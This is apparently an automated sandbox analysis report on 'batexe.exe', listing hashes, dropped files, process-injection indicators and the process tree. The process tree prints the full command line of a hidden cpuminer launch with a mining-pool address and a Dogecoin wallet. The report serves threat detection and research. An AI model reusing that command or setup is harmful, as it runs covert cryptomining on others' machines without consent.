73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
306s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 09:50

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2164	b2e.exe
4568	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4568	cpuminer-sse2.exe
4568	cpuminer-sse2.exe
4568	cpuminer-sse2.exe
4568	cpuminer-sse2.exe
4568	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2440-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2164	2440	batexe.exe	73
PID 2440 wrote to memory of 2164	2440	batexe.exe	73
PID 2440 wrote to memory of 2164	2440	batexe.exe	73
PID 2164 wrote to memory of 4436	2164	b2e.exe	74
PID 2164 wrote to memory of 4436	2164	b2e.exe	74
PID 2164 wrote to memory of 4436	2164	b2e.exe	74
PID 4436 wrote to memory of 4568	4436	cmd.exe	77
PID 4436 wrote to memory of 4568	4436	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AEBE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4436
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe

Filesize
6.5MB

MD5
baf606105a7c45a9179d99f91b7eb7b0

SHA1
fc5efa905d9f9a55cdbe66fc9fc87ecee5d2d3e2

SHA256
6e49a6c27f08f81d828dfb1e80aeddbe402eb5bb4a1650c7a26f227ac7aa0803

SHA512
65ccac24c8464c09e5606cf3e0e4d896b89dbcef35763fba1631abd6012d0a84b7ca0fff3b4bf20687df53d265e31217cbc30db1c9d2caaec5921ecf561a6b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe

Filesize
8.5MB

MD5
a6e6e1e97a73f904e64c99dce4d3e09c

SHA1
ee9d846ef0d31e2862d918cf0a414d54a224fb03

SHA256
de0d8bc77b2cd1742f792663e74b1143fe41b30e5315966dccb1078b7f808ad7

SHA512
598eb9995db292f4ccc9b06b294e2cdd05c628901fff1bcd87f69b055ccc21f4e09022f43167ad9c97d294a684f9d33a65d78e3fae370fb8f9bddf5c6f97b31a

Download Submit
C:\Users\Admin\AppData\Local\Temp\AEBE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
744c0872955915538c01f09d50fd3450

SHA1
7d7d5f8333f96948db9c3636f04376c06b1c5f99

SHA256
b75ca919b57a4acf1bb9e194dac8c945116efd3a8e90bb84311a41fa0ce48ef7

SHA512
c7a399469feb131037c5678078dbc7712ba3d7a8f91c104acc1e58aaf7ca223f5525064f6847394ba761866c766bd3b5071a167a0580dcd2fe421c888a32a089

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
0b7dfc4d0839b7a21d47c3115bf9244d

SHA1
f6f44081ce47c77e9212c1564d2530efdcfa7447

SHA256
4f4a37780c94f17242f6f074bc98e8024fe3d599d9589c204c8cc42fd01ebe8c

SHA512
735afa1c392e886e776881c597c4c97e3af8ce116694a2fe8e12c6abf5422c0a941faf03758e5eab75b09b406a7ec4826819081290e3638e65f4d00d4620fe21

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
cab132e37d7c9a35e04d5c892ede303b

SHA1
c06486f70880b9f8d00eac560ad02daf68bb50a6

SHA256
d5912f8c7383702bfd289a1df891ff4c791ca9e6897fa754ea586e38d29efe56

SHA512
e800d2989f895360f1f896949104d30537a667dd36c7e66e1590d2f3c8480bc657e2ff63e76d4578b87024e856743448ea7970d1e7c25e202ad91a5b29c4b88a

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
86fc48f154df9cbc79d00b3da84b6b18

SHA1
04e337890fcb296ec88004a2a4e7a71fb75de4a7

SHA256
7ea0f5a4466d1fcfbf62f4b90a758f021fd731a4a0a7f7678849611585d944fa

SHA512
6a7612c5e56b5a686bc3a67f45e2d108d9ed3d92c24d15b4def7f759a51d5611f329e6b79043e7d8fa9112103b08453cfbb856b60aab0af56131118b424dda90

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
53cf68d4283c013a01f8ffabc5876cb3

SHA1
ee82f52f86c80cee2e340fe6a0e0dc94659e24b6

SHA256
55695efc531db05005463459891c0a7179f730edb430e0080e78417afa5a6437

SHA512
950c1431da7f6a24f322f905c45408c197e823fe8114bd4ebd1041f7097a8d19be8ae8c6e26308506a72ae561a721abfa7596aa17f1626d53da88b39640a4d6a

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2164-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2164-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2440-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4568-43-0x000000005BC40000-0x000000005BCD8000-memory.dmp

Filesize
608KB

Download
memory/4568-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4568-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/4568-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4568-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4568-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download